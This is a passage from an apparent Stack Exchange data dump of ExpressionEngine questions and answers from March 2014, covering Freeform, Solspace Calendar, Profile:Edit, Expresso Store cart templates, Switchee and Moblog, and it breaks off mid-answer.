  <row Id="19919" PostTypeId="2" ParentId="19910" CreationDate="2014-03-03T22:31:32.967" Score="1" Body="&lt;p&gt;Maybe try wrap your code in an explicit parse block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;pre&gt;&lt;code&gt;&#xA;{exp:stash:parse parse_tags=&quot;yes&quot; parse_depth=&quot;5&quot; parse_conditionals=&quot;yes&quot;}&#xA;...&#xA;{/exp:stash:parse}&#xA;&lt;/pre&gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(PS - your site is looking great!)&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2014-03-03T22:31:32.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19920" PostTypeId="1" CreationDate="2014-03-03T22:38:04.123" Score="1" ViewCount="233" Body="&lt;p&gt;Does anyone know why the filename or names do not always record in the freeform table?&#xA;Ex. my form is located in exp_freeform_form_entries_1.&#xA;the file field is form_field_22.&#xA;But on many of my forms, this field is blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using ff pro v.4.0.12&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;file_field0&quot;&amp;gt;Please upload your file: (File format: .docx or .pdf)&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input type=&quot;file&quot; id=&quot;file_field0&quot; name=&quot;file_field0[0]&quot; class=&quot;required&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Peter T&lt;/p&gt;&#xA;" OwnerUserId="1469" LastActivityDate="2014-05-03T17:25:43.353" Title="Freeform file upload not in database table" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19921" PostTypeId="1" CreationDate="2014-03-03T22:54:21.173" Score="0" ViewCount="176" Body="&lt;p&gt;In case anyone is not aware of this: if you are using Solspace Calendar and are providing a subscription link, if you use http:// for the link, then the browser sends the .ics to the calendar client as a static file. Calendar changes and new events will not sync.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you build the link using webcal:// the browser will pass it to the user's calendar client as a 'live link' and then will sync events and changes at intervals the user specifies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem: The generated .ics file does not include the calendar title and thus the calendar name in the user's client ends up being the ulr to the .ics file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;http://en.wikipedia.org/wiki/ICalendar#Calendar_extensions&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/ICalendar#Calendar_extensions&lt;/a&gt; there is a property &quot;X-WR-CALNAME&quot; used to name calendar… How do we make this work with Solspace Calendar?&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2015-02-01T09:26:20.400" Title="Solspace Calendar: Calendar name not showing in .ics file" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19922" PostTypeId="1" CreationDate="2014-03-03T23:39:47.657" Score="1" ViewCount="48" Body="&lt;p&gt;I am using &lt;a href=&quot;http://mightybigrobot.com/docs/profile-edit/&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; to display a form which allows the user to update and edit their profile. However I have some custom fields which I want to protect from being changed. I am not displaying these fields to the user, but if the user was to 'hack' the page by manually inserting an input text field into the page they are viewing (using the browsers inspector tool) then they can submit any field they like and profile edit will happily update the value (I have tested this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I stop Profile:Edit from updating any field it receives via POST, and only update values I give it permission to update?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if you don't get what I mean. &lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-03-04T16:32:15.190" Title="How to protect a field from being changed - Profile Edit" Tags="|profile-edit|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19924" PostTypeId="2" ParentId="19922" CreationDate="2014-03-04T00:11:05.690" Score="1" Body="&lt;p&gt;I'm not certain this is something you have to worry about, unless you are also somehow providing your database schema to the user as well. Generally speaking in EE a name field is rarely just called a &lt;code&gt;name&lt;/code&gt; field, it might be called &lt;code&gt;profile-name&lt;/code&gt; or &lt;code&gt;profile_name&lt;/code&gt;. So if you had custom fields that you aren't displaying, then no one but you or other staff members should know what the names of the fields are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know we use naming protocols for field names, so that the field provides us with some basic info. Ours is simple, typically, channel_field or channel_field_type, which might look like staff_firstname or staff_firstname_text. But are labels are pretty standard, basically 'First Name'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though, I guess if it is still worrisome to you, you could probably add some javascript to verify the submit, only submits the fields you specifically want. You'd need to remember to update it, whenever you add or remove fields from the list though.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2014-03-04T00:11:05.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19925" PostTypeId="1" AcceptedAnswerId="19964" CreationDate="2014-03-04T00:12:19.267" Score="1" ViewCount="51" Body="&lt;p&gt;I am attempting to create a repeater list for all the items in the cart, however I am having trouble generating the title and and custom fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;                            {exp:channel:entries channel=&quot;product&quot; entry_id=&quot;{entry_id}&quot;}&#xA;                            &amp;lt;tr&amp;gt;&#xA;                                &amp;lt;td style=&quot;width:350px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Size: Large&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td style=&quot;width:75px&quot;&amp;gt;&amp;lt;input style=&quot;width: 40px;&quot; type=&quot;text&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td style=&quot;width:260px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{price}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td style=&quot;width:260px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{item_subtotal}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                &amp;lt;td style=&quot;width:75px; text-align: center;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                            &amp;lt;/tr&amp;gt;&#xA;                            {/exp:channel:entries}&#xA;                            {/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All the short-tags used by the store function as expected, however all the titles and custom fields will only grab the data from the newest entry and repeat.&lt;/p&gt;&#xA;" OwnerUserId="2234" LastActivityDate="2014-03-04T15:44:28.027" Title="Expresso Store: Item Title" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19926" PostTypeId="2" ParentId="19925" CreationDate="2014-03-04T01:15:01.787" Score="1" Body="&lt;p&gt;A great way to solve issues like this is to &lt;code&gt;{embed}&lt;/code&gt; the script you wish to repeat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{items}&#xA;    {embed=&quot;cart/_items.html&quot;}&#xA;{/items}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and within your template, eg &lt;code&gt;cart/_items.html&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;product&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    &amp;lt;tr&amp;gt;&#xA;        &amp;lt;td style=&quot;width:350px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;Size: Large&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;width:75px&quot;&amp;gt;&amp;lt;input style=&quot;width: 40px;&quot; type=&quot;text&quot; name=&quot;items[{key}][item_qty]&quot; value=&quot;{item_qty}&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;width:260px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{price}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;width:260px&quot;&amp;gt;&amp;lt;p class=&quot;item-title&quot;&amp;gt;{item_subtotal}&amp;lt;/p&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;td style=&quot;width:75px; text-align: center;&quot;&amp;gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;remove_items[{key}]&quot; value=&quot;1&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;/tr&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Embedding helps to eliminate issues causes when nesting loops in Expression Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/embedding.html&quot; rel=&quot;nofollow&quot;&gt;Embedding Templates within Other Templates&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-03-04T01:15:01.787" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19927" PostTypeId="2" ParentId="19901" CreationDate="2014-03-04T02:14:43.110" Score="1" Body="&lt;p&gt;If you use &lt;a href=&quot;http://mightybigrobot.com/products/detail/profile-edit&quot; rel=&quot;nofollow&quot;&gt;Profile:Edit&lt;/a&gt; you can simply insert your custom channel field &lt;code&gt;{field:user_grid}&lt;/code&gt; and it will automatically insert all the HTML and CSS/Javascript required for this module that would normally be inserted into the back end.&lt;/p&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-03-04T02:14:43.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19928" PostTypeId="2" ParentId="19920" CreationDate="2014-03-04T02:18:51.523" Score="0" Body="&lt;p&gt;Can you post more of your template code? Does a file get uploaded? Are you saying that it works sometimes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Im not sure why your name attribute has the '[0]'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a form and the input looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;Attach file:&amp;lt;/strong&amp;gt;&amp;lt;span class=&quot;required_field&quot;&amp;gt;*&amp;lt;/span&amp;gt;  &amp;lt;input type=&quot;file&quot; name=&quot;file1&quot; class=&quot;required&quot; accept=&quot;doc|docx&quot;/&amp;gt;&amp;lt;br/&amp;gt;5 MB max. MS Word format .doc or .docx&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-03-04T02:18:51.523" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19929" PostTypeId="2" ParentId="19908" CreationDate="2014-03-04T02:25:53.360" Score="1" Body="&lt;p&gt;If you use S3 you don't need youtube. CloudFront even has streaming &lt;a href=&quot;http://aws.amazon.com/cloudfront/streaming/&quot; rel=&quot;nofollow&quot;&gt;http://aws.amazon.com/cloudfront/streaming/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-03-04T02:25:53.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19930" PostTypeId="2" ParentId="19888" CreationDate="2014-03-04T02:33:38.123" Score="1" Body="&lt;p&gt;Use the &lt;code&gt;{switch}&lt;/code&gt; tag. Separate switches by the &lt;code&gt;|&lt;/code&gt; pipe character, they will cycle through.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; limit=&quot;10&quot; switch=&quot;green|blue|red&quot;}&#xA;    &amp;lt;h2 class=&quot;{switch}&quot;&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h2 class=&quot;green&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2 class=&quot;blue&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2 class=&quot;red&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2 class=&quot;green&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2 class=&quot;blue&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;&amp;lt;h2 class=&quot;red&quot;&amp;gt;My title&amp;lt;/h2&amp;gt;&#xA;etc...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1810" LastActivityDate="2014-03-04T02:33:38.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19931" PostTypeId="2" ParentId="19763" CreationDate="2014-03-04T02:42:53.687" Score="1" Body="&lt;p&gt;I use the jQuery Validation Plugin &lt;a href=&quot;http://bassistance.de/jquery-plugins/jquery-plugin-validation/&quot; rel=&quot;nofollow&quot;&gt;http://bassistance.de/jquery-plugins/jquery-plugin-validation/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with Freeform and it works really well. With it, the form is not sent (no page reload) until all errors are gone, and there is a lot of flexibility in customising the validations.&lt;/p&gt;&#xA;" OwnerUserId="2430" LastActivityDate="2014-03-04T02:42:53.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19932" PostTypeId="2" ParentId="19911" CreationDate="2014-03-04T02:43:55.427" Score="1" Body="&lt;p&gt;Try adding an &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter to &lt;code&gt;{exp:primary_category}&lt;/code&gt;. By providing an entry_id, you let Primary Category know which primary categories to display for that entry.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-03-04T02:43:55.427" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19933" PostTypeId="1" AcceptedAnswerId="19938" CreationDate="2014-03-04T03:08:34.567" Score="1" ViewCount="30" Body="&lt;p&gt;When I am logged in as any user on my EE site (including superadmins), when I click over to the admin area it forces me to login again. This happens even if I've just logged in 5 seconds earlier. Is there any way to prevent this extra authentication?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2810" LastActivityDate="2014-03-04T04:55:54.077" Title="How to stop extra authentication with admin area" Tags="|admin|authentication|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19935" PostTypeId="1" CreationDate="2014-03-04T03:39:47.317" Score="2" ViewCount="45" Body="&lt;p&gt;I'm building my very first EE website and I am looking for some advice regarding email notifications based on user activity. I would like members to be able to “subscribe” to or &quot;follow&quot; other members such that when a member posts an article or uploads a document, anyone subscribed to that user will get an email notification. It looks like Postmaster might be a step in the right direction? Are there any other suggestions on how to get me started? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2810" LastActivityDate="2014-03-04T04:26:20.893" Title="Looking for advice on “subscribing” to a user" Tags="|email|postmaster|notification|subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19936" PostTypeId="1" CreationDate="2014-03-04T03:56:14.297" Score="1" ViewCount="139" Body="&lt;p&gt;we are using freeform pro 4.1.3 and are seeing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;form erorr -  [Fatal error: Unsupported operand types in /data/websitesmywebsitedir/html/systemtudor/expressionengine/third_party/freeform/acc.freeform.php on line 122] &#xA;on the freeform pro tab in the admin.php page in expressionengine 2.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the line in the file is ; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;$field_ids += $form['field_ids'];&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know if their is a compatibility or a bug here that we can patch,&#xA;the freeform plugin seems to be working OK..do you know if this error can be ignored?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/285271/fatal-error-unsupported-operand-types-in&quot;&gt;https://stackoverflow.com/questions/285271/fatal-error-unsupported-operand-types-in&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;we meet all the server requirements,&#xA;ExpressionEngine 2.4+ [2.7.3]&#xA;PHP 5.2+ [5.3.3]&#xA;MySQL 5+ [5.1.6]&#xA;All modern browsers or IE 8+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thankyou&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update&#xA;This is not working on php version 5.3.3 which the shared host is utilising howver it is working on a a dev server php version 5.4.20&#xA;I thought this was a pretty simply assignment operation that should work across both these version, i tried changing  to $field_ids = $field_ids + $form['field_ids']; same error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;halp?&lt;/p&gt;&#xA;" OwnerUserId="2811" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2014-03-04T04:46:56.463" Title="Freeform Pro Plugin Unsupported operand after plugin installation" Tags="|solspace|php|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19937" PostTypeId="2" ParentId="19935" CreationDate="2014-03-04T04:26:20.893" Score="1" Body="&lt;p&gt;I would suggest checking out the &lt;a href=&quot;http://devot-ee.com/add-ons/friends&quot; rel=&quot;nofollow&quot;&gt;Friends&lt;/a&gt; module from Solspace. It has a lot of this functionality built in. I'm not sure about the email notifications though, so you'll have to research that part, and if it doesn't do it natively, I'm positive Postmaster can help with that.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-03-04T04:26:20.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19938" PostTypeId="2" ParentId="19933" CreationDate="2014-03-04T04:55:54.077" Score="1" Body="&lt;p&gt;I don't think that's possible. It's there as a security feature.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-04T04:55:54.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19939" PostTypeId="2" ParentId="19916" CreationDate="2014-03-04T05:23:53.387" Score="2" Body="&lt;p&gt;I'm not familiar with the Webteh API specifically, but usually it is possible to specify a custom return URL for each payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Store v1 (and CI-Merchant), you should set the return URL to the value of &lt;code&gt;$this-&amp;gt;param('return_url')&lt;/code&gt;, as you can see in the &lt;a href=&quot;https://github.com/expressodev/ci-merchant/blob/master/libraries/merchant/merchant_paypal_express.php#L97&quot; rel=&quot;nofollow&quot;&gt;PayPal Express gateway&lt;/a&gt;. This URL will then trigger Store's payment return code, and pass control to the &lt;code&gt;purchase_return()&lt;/code&gt; method on your gateway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that in Store v2, &lt;a href=&quot;https://github.com/omnipay/omnipay&quot; rel=&quot;nofollow&quot;&gt;Omnipay&lt;/a&gt; is used instead of CI-Merchant, which uses a similar but slightly different approach.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-04T05:23:53.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19941" PostTypeId="2" ParentId="19915" CreationDate="2014-03-04T07:38:41.940" Score="4" Body="&lt;p&gt;Freeform 4.1.3 is not compatible with EE 2.8. Solspace are working on an update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adjusting csft_exempt to 1 in the exp_actions table (Freeform - save_form ) got rid of the error so it looks like this has been caused by the security model issue.&lt;/p&gt;&#xA;" OwnerUserId="302" LastEditorUserId="302" LastEditDate="2014-03-11T09:51:13.587" LastActivityDate="2014-03-11T09:51:13.587" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19944" PostTypeId="2" ParentId="19891" CreationDate="2014-03-04T09:06:48.740" Score="0" Body="&lt;p&gt;I'd recommend changing the value of the date field to dd-mm-yyyy so you don't need to use Low Replace, and instead can use the value directly into Low Nice Date. The query would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE exp_channel_data SET field_id_X = REPLACE(field_id_X, '/', '-');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where X is the field ID in question.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-03-04T09:06:48.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19945" PostTypeId="1" AcceptedAnswerId="19952" CreationDate="2014-03-04T09:11:52.680" Score="1" ViewCount="451" Body="&lt;p&gt;I have a website running EE 2.5.2 with Freeform Pro 4.0.6. The website is about events people can subscribe to. Freeform is currently used to subscribe to one event. All events are (of course) entries in a channel field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’m looking for a way my users can use a select multiple events from a list of checkboxes and do a ‘multi-subscribe’.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Freeform, I found the ‘checkbox group’ field with ‘load from channel field’ option. But it just displays a list of titles. I would like to (at least) also include a date and order the choices by date. Possibly I’d like to also include a category field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help, ideas or examples are appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2812" LastActivityDate="2014-03-04T12:09:32.757" Title="Channel entries fields in a list of checkboxes, with Freeform (or any other solution)" Tags="|channel-entries|solspace-freeform|solspace|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19946" PostTypeId="1" CreationDate="2014-03-04T09:58:14.327" Score="1" ViewCount="100" Body="&lt;p&gt;I'm really confused about this moblog feature. And I can't understand what the documentation tells me, I don't feel it distinguish how the moblog template should look like, and what the email template should look like. So basically, I'd like some info on how the Moblog Template in the Control Panel should look like, and how the email itself should look like, to correspond with the right fields. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have these fields that I'd like to populate with the data from the email.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{moblog_image}, {moblog_photographer}, {moblog_latlng}, {moblog_facts}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My Moblog Template looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field name=&quot;moblog_image&quot; format=&quot;none&quot;}&#xA;   {images}&#xA;      &amp;lt;img src=&quot;{file}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; alt=&quot;pic&quot; /&amp;gt;&#xA;   {/images}&#xA;{/field}&#xA;&#xA;{field name=&quot;moblog_photographer}&quot; format=&quot;none&quot;}{text}{/field}    &#xA;{field name=&quot;moblog_latlng&quot; format=&quot;none&quot;}{text}{/field}&#xA;{field name=&quot;moblog_facts&quot; format=&quot;none&quot;}{text}{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm really not sure if this is correct..&#xA;And below is how the email looks like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field:moblog_image}&#xA;image.png (image I paste in the email)&#xA;{/field:moblog_image}&#xA;&#xA;{field:moblog_photographer}&#xA;John Appleseed&#xA;{/field:moblog_photographer}&#xA;&#xA;{field:moblog_latlng}&#xA;3464,5896&#xA;{/field:moblog_latlng}&#xA;&#xA;{field:moblog_facts}&#xA;Some facts&#xA;{/field:moblog_sekundaer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct? What am I missing, because when I send this email and check the moblog, the entry contains basically the whole email, fields and all. &lt;/p&gt;&#xA;" OwnerUserId="2111" LastActivityDate="2014-05-03T19:28:46.213" Title="Moblog - Can't get the template to work" Tags="|templates|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19947" PostTypeId="1" CreationDate="2014-03-04T10:21:47.787" Score="1" ViewCount="318" Body="&lt;p&gt;I have the following code in my templates:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;cover&quot; limit=&quot;5&quot;}&#xA;    {if total_results &amp;gt; 1}More than one{/if}&#xA;        {covervid_bg_video limit=&quot;1&quot;}{file:url}{/covervid_bg_video}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the error that I get:&lt;pre&gt;&#xA;&lt;b&gt;Parse error&lt;/b&gt;:  syntax error, unexpected T_ENDIF in &lt;br /&gt;&lt;b&gt;/home/user34/public_html/dev/system/expressionengine/libraries/Functions.php(689) : eval()'d code&lt;/b&gt; on line &lt;b&gt;718&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried the following variation with no success&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if '{total_results}' &amp;gt; '1'}More than one{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2813" LastActivityDate="2014-04-03T11:26:42.510" Title="Syntax error, unexpected T_ENDIF" Tags="|conditionals|ifelse|advanced-conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19949" PostTypeId="2" ParentId="19947" CreationDate="2014-03-04T10:39:29.683" Score="1" Body="&lt;p&gt;If it did work it would output &quot;more than one&quot; 5 times.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd use count instead, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if count==2}More than one{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There's &lt;a href=&quot;http://ellislab.com/forums/viewthread/200648/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; is interesting article over at ellislabs from some years back but still relevant.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2014-03-04T10:39:29.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19950" PostTypeId="1" AcceptedAnswerId="19956" CreationDate="2014-03-04T11:25:02.510" Score="2" ViewCount="430" Body="&lt;p&gt;I'm trying to use Switchee for this scenario:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if variable_1}&#xA;&#xA;    {if variable_2} some text {if:else} some other text {/if}&#xA;&#xA;{if:else}&#xA;nothing to show!&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, if i want to use Switchee i need to nest two plugins?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{variable_1}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;{variable_1}&quot;}&#xA;&#xA;        {exp:switchee2 variable=&quot;{variable_2}&quot; parse=&quot;inward&quot;}&#xA;            {case2 value=&quot;{variable_2}&quot;}  some text {/case2}&#xA;            {case2 default=&quot;yes&quot;} some other text {/case2}&#xA;        {/exp:switchee2}&#xA;&#xA;    {/case}&#xA;&#xA;    {case default=&quot;yes&quot;}&#xA;     nothing to show&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Help please! :)&#xA;thank you&lt;/p&gt;&#xA;" OwnerUserId="2590" LastActivityDate="2014-04-18T13:47:14.847" Title="Nested conditionals with Switchee?" Tags="|switchee|nesting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19951" PostTypeId="2" ParentId="19890" CreationDate="2014-03-04T11:37:57.260" Score="0" Body="&lt;p&gt;This is the JavaScript I've ended up using to add a placeholder to the first row of the Matrix cell:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#cf_amendment_details').find('.matrix-textarea').attr('placeholder', 'Add your feedback here');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Couldn't get it working for every row, due to how the rows are added on-the-fly, but this will be fine.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2014-03-04T11:37:57.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19952" PostTypeId="2" ParentId="19945" CreationDate="2014-03-04T12:09:32.757" Score="0" Body="&lt;p&gt;You can create a checkbox group field based on the &quot;load from channel field&quot; option, which will create a list of checkboxes with either entry titles or content of a custom field as labels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for more flexibility, however, the only option available is to manually create your own checkbox group list in a template. This can be done by using the &lt;code&gt;{exp:freeform:form}&lt;/code&gt; tag and creating your checkbox group using &lt;code&gt;{exp:channel:entries}&lt;/code&gt;, &lt;code&gt;{exp:channel:categories}&lt;/code&gt; or whatever tag you need to create the list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, let's say you created a field (textarea) called &lt;code&gt;form_events&lt;/code&gt;. You would create your dropdown like 